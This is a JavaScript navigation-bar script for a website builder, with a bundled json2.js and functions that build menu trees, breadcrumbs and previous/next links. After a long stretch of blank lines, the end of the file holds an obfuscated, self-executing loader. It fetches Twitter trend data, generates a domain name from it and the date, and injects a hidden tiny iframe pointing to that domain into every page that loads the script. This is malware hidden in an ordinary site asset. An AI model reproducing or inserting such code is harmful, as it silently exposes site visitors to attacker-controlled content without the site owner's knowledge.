//(C) 2009 Serif (Europe) Ltd.

//http://www.JSON.org/json2.js
var JSON=JSON||{};(function(){function f(n){return n<10?'0'+n:n;}
if(typeof Date.prototype.toJSON!=='function'){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+'-'+
f(this.getUTCMonth()+1)+'-'+
f(this.getUTCDate())+'T'+
f(this.getUTCHours())+':'+
f(this.getUTCMinutes())+':'+
f(this.getUTCSeconds())+'Z':null;};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf();};}
var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={'\b':'\\b','\t':'\\t','\n':'\\n','\f':'\\f','\r':'\\r','"':'\\"','\\':'\\\\'},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==='string'?c:'\\u'+('0000'+a.charCodeAt(0).toString(16)).slice(-4);})+'"':'"'+string+'"';}
function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==='object'&&typeof value.toJSON==='function'){value=value.toJSON(key);}
if(typeof rep==='function'){value=rep.call(holder,key,value);}
switch(typeof value){case'string':return quote(value);case'number':return isFinite(value)?String(value):'null';case'boolean':case'null':return String(value);case'object':if(!value){return'null';}
gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==='[object Array]'){length=value.length;for(i=0;i<length;i+=1){partial[i]=str(i,value)||'null';}
v=partial.length===0?'[]':gap?'[\n'+gap+
partial.join(',\n'+gap)+'\n'+
mind+']':'['+partial.join(',')+']';gap=mind;return v;}
if(rep&&typeof rep==='object'){length=rep.length;for(i=0;i<length;i+=1){k=rep[i];if(typeof k==='string'){v=str(k,value);if(v){partial.push(quote(k)+(gap?': ':':')+v);}}}}else{for(k in value){if(Object.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k)+(gap?': ':':')+v);}}}}
v=partial.length===0?'{}':gap?'{\n'+gap+partial.join(',\n'+gap)+'\n'+
mind+'}':'{'+partial.join(',')+'}';gap=mind;return v;}}
if(typeof JSON.stringify!=='function'){JSON.stringify=function(value,replacer,space){var i;gap='';indent='';if(typeof space==='number'){for(i=0;i<space;i+=1){indent+=' ';}}else if(typeof space==='string'){indent=space;}
rep=replacer;if(replacer&&typeof replacer!=='function'&&(typeof replacer!=='object'||typeof replacer.length!=='number')){throw new Error('JSON.stringify');}
return str('',{'':value});};}
if(typeof JSON.parse!=='function'){JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==='object'){for(k in value){if(Object.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v;}else{delete value[k];}}}}
return reviver.call(holder,key,value);}
cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return'\\u'+
('0000'+a.charCodeAt(0).toString(16)).slice(-4);});}
if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''))){j=eval('('+text+')');return typeof reviver==='function'?walk({'':j},''):j;}
throw new SyntaxError('JSON.parse');};}}());


function WpNavBar()
{
}

WpNavBar.mergeOptions = function (obj1, obj2) {
  for (var p in obj2) {
	if (obj2.hasOwnProperty(p)) {
 
	    try {
	      if( obj2[p].constructor==Object ) {
	      	if( obj1[p]===undefined )
	      	{
	    	      obj1[p] = obj2[p];
	    	}
			else
			{
	        	obj1[p] = WpNavBar.mergeOptions(obj1[p], obj2[p]);
	        	}
	      } else {
	          obj1[p] = obj2[p];
	      }
	    } catch(e) {
	       	if( obj2[p] !== null )
			{
				obj1[p] = obj2[p];
			}
	    }
	}
  }
  return obj1;
};

WpNavBar.formatFlashParams = function( flashOptions ) {
	var sParams = '';
	for (var p in flashOptions) {
		if (flashOptions.hasOwnProperty(p)) {
	    	if( flashOptions[p].constructor==Array ) {
	    		for( var index = 0; index < flashOptions[p].length; ++index )
	    		{
					if( sParams!=='' )
					{	sParams += '&'; }
					sParams += p + index.toString() + '=' + flashOptions[p][index];		
	    		}
	    	}
	    	else
	    	{
				if( sParams!=='' )
				{	sParams += '&';}
				sParams += p + '=' + flashOptions[p];
			}
		}
	}
	return sParams;
};

WpNavBar.readTree = function ( navtree )
{
	try 
	{
		WpNavBar.addLinks(navtree, navtree);
	} catch(err)
	{
		navtree = null; 
	}
	return navtree;
};

WpNavBar.getErrorObj = function (msg) 
{
	var err = new Error(msg);
	// take care of IE5/5.5
	if (!err.message) 
	{
		err.message = msg;
	}
	return err;
};

WpNavBar.getRelPath = function(sFromWebPath, sToWebPath)
{
	if( !sFromWebPath )
	{	return sToWebPath;}
	var leftDirsArray = sFromWebPath.split( "/" );
	var rightDirsArray = sToWebPath.split( "/" );
	
	var i = 0;
	for( ; i < leftDirsArray.length-1 && i < rightDirsArray.length-1; i++ )
	{
		if( leftDirsArray[i] != rightDirsArray[i] )
		{	break;}	
	}
	
	var sRel = "";
	for( var j = i; j < leftDirsArray.length-1; j++ )
	{
		sRel += "../";
	}
	for( var k = i; k < rightDirsArray.length-1; k++ )
	{
		sRel += rightDirsArray[k] + "/";
	}
	sRel += rightDirsArray[rightDirsArray.length-1];
	
	return sRel;
};

WpNavBar.addLinks = function( parentitem )
{
	var leftSibling = null;
	var bSeparator = false;
	for( var index = 0; index < parentitem.childArray.length; index++ )
	{
		var item = parentitem.childArray[index];
		bSeparator = bSeparator || (item.bSeparatorBefore===true);
		item.bSeparator = ( bSeparator && index !== 0 );
		item.parent = parentitem;
		item.leftSibling = leftSibling;
		if( leftSibling !== null )
		{	leftSibling.rightSibling = item;}
		item.rightSibling = null;

		if( item.childArray )
		{	WpNavBar.addLinks( item );}
		bSeparator = (item.bSeparatorAfter===true);
		leftSibling = item;
	}
};

WpNavBar.removeLinks = function( navtree )
{
	for( var index = 0; index < navtree.childArray.length; index++ )
	{
		var item = navtree.childArray[index];
		item.parent = null;
		item.leftSibling = null;
		item.rightSibling = null;
		if( item.childArray )
		{	WpNavBar.removeLinks( item );}
	}
	return navtree;
};

WpNavBar.makeGenNavBarItem = function( childArray, item, options, sOverideTarget )
{	//Clone a item without its siblings
	var newnavbaritem = {};
	newnavbaritem.sTitle = item.sTitle;
	newnavbaritem.sDescription = item.sDescription;
	newnavbaritem.bSeparator = item.bSeparator;
	newnavbaritem.bSeparatorBefore = item.bSeparatorBefore;
	newnavbaritem.bSeparatorAfter = item.bSeparatorAfter;
	newnavbaritem.bIsAnchor = item.bIsAnchor; //don't need this?
	newnavbaritem.bIsExternal = item.bIsExternal;
	newnavbaritem.sTarget = item.sTarget;
	if( sOverideTarget !== null )
	{	newnavbaritem.sTarget = sOverideTarget; }

	if( !options.m_bIsCustom && ( options.m_bAbsoluteLinks === true || item.bIsWebPath === true ) )
	{
		if( options.m_sThisPageUrl && item.sUrl == options.m_sThisPageUrl )
		{	newnavbaritem.bIsCurrentPage = true;}
	}
	if( options.m_bHasNavElements )
	{
		if( item.sUrl == '%parent%' )
		{	newnavbaritem.sUrl = options.m_sUpUrl;}
		else if( item.sUrl == '%child%' )
		{	newnavbaritem.sUrl = options.m_sDownUrl;}
		else if( item.sUrl == '%previous%' )
		{	newnavbaritem.sUrl = options.m_sLeftUrl;}
		else if( item.sUrl == '%next%' )
		{	newnavbaritem.sUrl = options.m_sRightUrl;}
	}
	
	var sActiveFrameUrl = null;
	var sActiveFrameId = null;
	if( !item.bOverrideNavBarTarget )
	{
		if( !newnavbaritem.sTarget || newnavbaritem.sTarget==='' )
		{	newnavbaritem.sTarget = options.m_sNavBarTarget;}
		sActiveFrameUrl = options.m_sNavbarActiveFrameUrl;
		sActiveFrameId = options.m_sNavBarActiveFrameId;
		if( item.sActiveFrameUrl )
		{
			sActiveFrameUrl = item.sActiveFrameUrl;
			sActiveFrameId  = item.sActiveFrameId;
		}
	}
	if( sActiveFrameUrl )
	{
		var relpathframetopage = (item.bIsWebPath === true) ? WpNavBar.getRelPath(sActiveFrameUrl, item.sUrl) : item.sUrl;
		if( options.m_bAbsoluteLinks !== true )
		{	sActiveFrameUrl = WpNavBar.getRelPath(options.m_sThisPageUrl,sActiveFrameUrl);} 
		newnavbaritem.sUrl = sActiveFrameUrl + "?" + sActiveFrameId + "=" + relpathframetopage;
	}
	else
	{
		if( item.bIsWebPath )
		{	newnavbaritem.sUrl = WpNavBar.getRelPath(options.m_sThisPageUrl, item.sUrl);}
		else
		{	newnavbaritem.sUrl = item.sUrl;}
	}
	if( (options.m_bIncludeChildren || options.m_bIncludeAnchors) && item.childArray )
	{
		for( var index = 0; index < item.childArray.length; index++ )
		{
			var childnavbaritem = item.childArray[index];
			if( !options.m_bIncludeAnchors && childnavbaritem.bIsAnchor === true )
			{	continue;}
			if( !options.m_bIncludeChildren && childnavbaritem.bIsAnchor !== true )
			{	continue;} 
			if( !newnavbaritem.childArray )
			{	newnavbaritem.childArray = [];}
			WpNavBar.makeGenNavBarItem(newnavbaritem.childArray,childnavbaritem,options,sOverideTarget);
		}			
	}
	
	var bInsert = true;	
	//If the item is an SWR feed, add feed items
	if( item.bIsSwrFeed && !options.m_bNoScript )
	{
		var sFeedVar = "feed_" + item.sSwrUid;
		//check whether feed loaded
		if (eval( 'typeof(' + sFeedVar +')' ) != "undefined")
		{
			var myfeed = eval( sFeedVar );
			for( var index = 0; index < myfeed.childArray.length; index++ )
			{
				var childnavbaritem = myfeed.childArray[index];
				childnavbaritem.sActiveFrameUrl = item.sActiveFrameUrl;
				childnavbaritem.sActiveFrameId  = item.sActiveFrameId;
				childnavbaritem.sTarget = item.sTarget;

				if( item.bFeedChildren )
				{	//Add as children of the SWR item
					if( !newnavbaritem.childArray )
					{	newnavbaritem.childArray = [];}
					WpNavBar.makeGenNavBarItem(newnavbaritem.childArray,childnavbaritem,options,item.sTarget);
				}
				else
				{	//Add instead of the SWR item
					WpNavBar.makeGenNavBarItem(childArray,childnavbaritem,options,item.sTarget);
					bInsert=false;
				}
			}
		}
	}

	if( bInsert )
	{	childArray[childArray.length] = newnavbaritem;}
};

WpNavBar.makeRelLinks = function( navtree, options )
{
	if( !options.m_sThisPageUrl || (options.m_bAbsoluteLinks === true) )
	{	return;}
	for( var index = 0; index < navtree.childArray.length; index++ )
	{
		var item = navtree.childArray[index];

		if( item.bIsWebPath === true )
		{
			if( item.sUrl == options.m_sThisPageUrl )
			{	item.bIsCurrentPage = true;}
			item.sUrl = WpNavBar.getRelPath(options.m_sThisPageUrl, item.sUrl);
		}
		if( item.childArray )
		{	WpNavBar.makeRelLinks( item, options );}
	}
};

WpNavBar.fixLinks = function( navtree, upurl, downurl, lefturl, righturl )
{
	for( var index = 0; index < navtree.childArray.length; index++ )
	{
		var item = navtree.childArray[index];

		if( item.sUrl == '%parent%' )
		{	item.sUrl = upurl;}
		else if( item.sUrl == '%child%' )
		{	item.sUrl = downurl;}
		else if( item.sUrl == '%previous%' )
		{	item.sUrl = lefturl;}
		else if( item.sUrl == '%next%' )
		{	item.sUrl = righturl;}

		if( item.childArray )
		{	WpNavBar.fixLinks( item, upurl, downurl, lefturl, righturl );}
	}
};
 
WpNavBar.findCurrentPage = function( navtree, options )
{
	if( !options.m_sThisPageUrl )
	{	return null;}
	for( var index = 0; index < navtree.childArray.length; index++ )
	{
		var item = navtree.childArray[index];
		if( item.bIsExternal !== true && item.sUrl == options.m_sThisPageUrl )
		{	return item;}

		if( item.childArray )
		{
			var result = WpNavBar.findCurrentPage( item, options );
			if( result )
			{	return result;}
		}
	}
	return null;
};


//ITERATORS*******************************************************************************

//Top-level iterator
WpNavBar.getNavTreeTopLevel = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];

	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );

	if( global_navtree && global_navtree.childArray )
	{
		for( var index = 0; index < global_navtree.childArray.length; index++ )
		{
			var item = global_navtree.childArray[index];
			if( options.m_bHideCurrent && item == thispagesrc )
			{	continue;}
			if( !options.m_bIncludeAnchors && item.bIsAnchor === true )
			{	continue;}
			WpNavBar.makeGenNavBarItem(navtree.childArray, item, options, null);
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Home iterator
WpNavBar.getNavTreeHome = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];

	var homepage = global_navtree.childArray[0];
	
	WpNavBar.makeGenNavBarItem(navtree.childArray,homepage,options,null);
	var homepagedest = navtree.childArray[0];
	if( !options.m_bNamed && options.m_sHomeName )
	{	homepagedest.sTitle = options.m_sHomeName;}
	
	if( homepage && homepage.childArray )
	{
		for( var index = 0; index < homepage.childArray.length; index++ )
		{
			var item = homepage.childArray[index];
			if( !options.m_bIncludeAnchors && item.bIsAnchor === true )
			{	continue;}
			if( !options.m_bIncludeChildren && item.bIsAnchor !== true )
			{	continue;}
			WpNavBar.makeGenNavBarItem(homepagedest.childArray, item, options, null );
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Parent-level iterator
WpNavBar.getNavTreeParentLevel = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];

	var homepage = global_navtree.childArray[0];
	
	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	var thispageparent = global_navtree;
	if( thispagesrc && thispagesrc.parent )
	{	thispageparent = thispagesrc.parent;}
	var thispagegrandparent = thispageparent;
	if( thispageparent && thispageparent.parent )
	{	thispagegrandparent = thispageparent.parent;}
	
	if( options.m_bIncludeHome )
	{	WpNavBar.makeGenNavBarItem(navtree.childArray, homepage, options, null );	}
	
	if( thispagegrandparent && thispagegrandparent.childArray )
	{
		for( var index = 0; index < thispagegrandparent.childArray.length; index++ )
		{
			var item = thispagegrandparent.childArray[index];
			if( ( options.m_bHideCurrent && item == thispagesrc ) ||
			    ( options.m_bIncludeHome && item == homepage ) ||
				( !options.m_bIncludeAnchors && item.bIsAnchor === true ) )
			{	continue;}
			WpNavBar.makeGenNavBarItem(navtree.childArray, item, options, null );
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Same-level iterator
WpNavBar.getNavTreeSameLevel = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];

	var homepage = global_navtree.childArray[0];
	
	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	var thispageparent = global_navtree;
	if( thispagesrc && thispagesrc.parent )
	{	thispageparent = thispagesrc.parent;}
	
	if( options.m_bIncludeHome )
	{	WpNavBar.makeGenNavBarItem(navtree.childArray,homepage, options, null); }
	if( options.m_bIncludeParent && thispageparent && thispageparent.parent )
	{
		if( !options.m_bIncludeHome || thispageparent != homepage )
		{ 	WpNavBar.makeGenNavBarItem(navtree.childArray,thispageparent, options, null); }
	}
	
	if( thispageparent && thispageparent.childArray )
	{
		for( var index = 0; index < thispageparent.childArray.length; index++ )
		{
			var item = thispageparent.childArray[index];
			if( ( options.m_bHideCurrent && item == thispagesrc ) ||
				( options.m_bIncludeHome && item == homepage ) ||
				( options.m_bIncludeParent && item == thispageparent ) ||
				( !options.m_bIncludeAnchors && item.bIsAnchor === true ) )
			{	continue;}
			WpNavBar.makeGenNavBarItem(navtree.childArray,item, options, null);
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Child-level iterator
WpNavBar.getNavTreeChildLevel = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];

	var homepage = global_navtree.childArray[0];
	
	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	

	if( options.m_bIncludeHome )
	{	WpNavBar.makeGenNavBarItem(navtree.childArray, homepage, options, null ); }	
	if( options.m_bIncludeParent && thispagesrc && thispagesrc.parent )
	{
		if( !options.m_bIncludeHome || thispagesrc != homepage )
		{	WpNavBar.makeGenNavBarItem(navtree.childArray, thispagesrc, options, null );}
	}
	
	if( thispagesrc && thispagesrc.childArray )
	{
		for( var index = 0; index < thispagesrc.childArray.length; index++ )
		{
			var item = thispagesrc.childArray[index];
			if( ( options.m_bIncludeHome && item == homepage ) ||
				( options.m_bIncludeParent && item == thispagesrc.parent ) ||
				( !options.m_bIncludeAnchors && item.bIsAnchor === true ) )
			{	continue;}
			WpNavBar.makeGenNavBarItem(navtree.childArray, item, options, null);
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Breadcrumb iterator
WpNavBar.getNavTreeBreadcrumb = function( global_navtree, options )
{
	var homepage = global_navtree.childArray[0];

	var navtree = {};
	navtree.childArray = [];

	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options ); 
	if( thispagesrc && options.m_bHideCurrent )
	{
		thispagesrc = thispagesrc.parent;
	}

	var bAddHome = options.m_bIncludeHome;
	for( ;thispagesrc && thispagesrc.parent; thispagesrc = thispagesrc.parent )
	{
		WpNavBar.makeGenNavBarItem( navtree.childArray, thispagesrc, options, null );
		if( thispagesrc == homepage )
		{
			bAddHome = false;
		}
	}
	if( bAddHome )
	{
		WpNavBar.makeGenNavBarItem( navtree.childArray, homepage, options, null );
	}
	navtree.childArray.reverse();

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Anchor iterator
WpNavBar.getNavTreeAnchor = function( global_navtree, options )
{
	options.m_bIncludeAnchors = true;
	
	var navtree = {};
	navtree.childArray = [];

	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	
	if( thispagesrc && thispagesrc.childArray )
	{
		for( var index = 0; index < thispagesrc.childArray.length; index++ )
		{
			var item = thispagesrc.childArray[index];
			if( item.bIsAnchor !== true )
			{	continue;}
			WpNavBar.makeGenNavBarItem(navtree.childArray, item, options, null );
		}
	}

//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Prev/Next/Prev&Next iterator
WpNavBar.getNavTreePrevNext = function( global_navtree, options, bIncludePrev, bIncludeNext )
{
	var navtree = {};
	navtree.childArray = [];

	var homepage = global_navtree.childArray[0];
	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	
	var iDestIndex = 0; 
	
	if( options.m_bIncludeHome )
	{
		WpNavBar.makeGenNavBarItem(navtree.childArray, homepage, options, null );
		if( !options.m_bNamed && options.m_sHomeName !== null )
		{	navtree.childArray[iDestIndex].sTitle = options.m_sHomeName;}
		iDestIndex++;
	}
	
	if( thispagesrc && thispagesrc.parent )
	{
		var prevpage = thispagesrc.leftSibling;
		if( bIncludePrev && prevpage )
		{
			if( !options.m_bIncludeHome || prevpage != homepage )
			{
				WpNavBar.makeGenNavBarItem(navtree.childArray, prevpage, options, null );
				if( !options.m_bNamed && options.m_sPrevName !== null )
				{	navtree.childArray[iDestIndex].sTitle = options.m_sPrevName;}
				iDestIndex++;
			}
		}

		if( options.m_bIncludeParent && thispagesrc.parent.parent )
		{
			if( !options.m_bIncludeHome || thispagesrc.parent != homepage )
			{ 	
				WpNavBar.makeGenNavBarItem(navtree.childArray, thispagesrc.parent, options, null); 
				if( !options.m_bNamed && options.m_sUpName !== null )
				{	navtree.childArray[iDestIndex].sTitle = options.m_sUpName;}
				iDestIndex++;
			}
		}
	
		var nextpage = thispagesrc.rightSibling;
		if( bIncludeNext && nextpage )
		{
			if( !options.m_bIncludeHome || nextpage != homepage )
			{
				WpNavBar.makeGenNavBarItem(navtree.childArray, nextpage, options, null );
				if( !options.m_bNamed && options.m_sNextName !== null )
				{	navtree.childArray[iDestIndex].sTitle = options.m_sNextName;}
				iDestIndex++;
			}
		}
	}
	
//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Up iterator
WpNavBar.getNavTreeUp = function( global_navtree, options )
{
	var navtree = {};
	navtree.childArray = [];
	var homepage = global_navtree.childArray[0];

	var iDestIndex = 0;
	if( options.m_bIncludeHome )
	{
		WpNavBar.makeGenNavBarItem(navtree.childArray, homepage, options, null );
		if( !options.m_bNamed && options.m_sHomeName !== null )
		{	navtree.childArray[iDestIndex].sTitle = options.m_sHomeName;}
		iDestIndex++;
	}
	
	var thispagesrc = WpNavBar.findCurrentPage( global_navtree, options );
	if( thispagesrc && thispagesrc.parent && thispagesrc.parent.parent )
	{
		WpNavBar.makeGenNavBarItem(navtree.childArray, thispagesrc.parent, options, null );
		if( !options.m_bNamed && options.m_sUpName !== null )
		{	navtree.childArray[iDestIndex].sTitle = options.m_sUpName;}
		iDestIndex++;
	}
	
//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

//Back iterator
WpNavBar.getNavTreeBack = function( sBackName )
{
	var navtree = {};
	navtree.childArray = [];

	navtree.childArray[0] = {};
	navtree.childArray[0].sTitle = sBackName;
	navtree.childArray[0].sUrl='javascript:history.back();';
//	WpNavBar.addLinks(navtree);
	return navtree;
};

//Custom navtree: replace it with a generated navtree
WpNavBar.getNavTreeCustom = function( custom_navtree, options )
{
	if( !custom_navtree )
	{	return;}

	options.m_bIncludeChildren=true;
	options.m_bIncludeAnchors=true;

	var navtree = {};
	navtree.childArray = [];

	for( var index = 0; index < custom_navtree.childArray.length; index++ )
	{
		var item = custom_navtree.childArray[index];
		WpNavBar.makeGenNavBarItem(navtree.childArray, item, options, null );
	}
//	WpNavBar.addLinks(navtree);
	WpNavBar.makeRelLinks( navtree, options );
	return navtree;
};

















(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

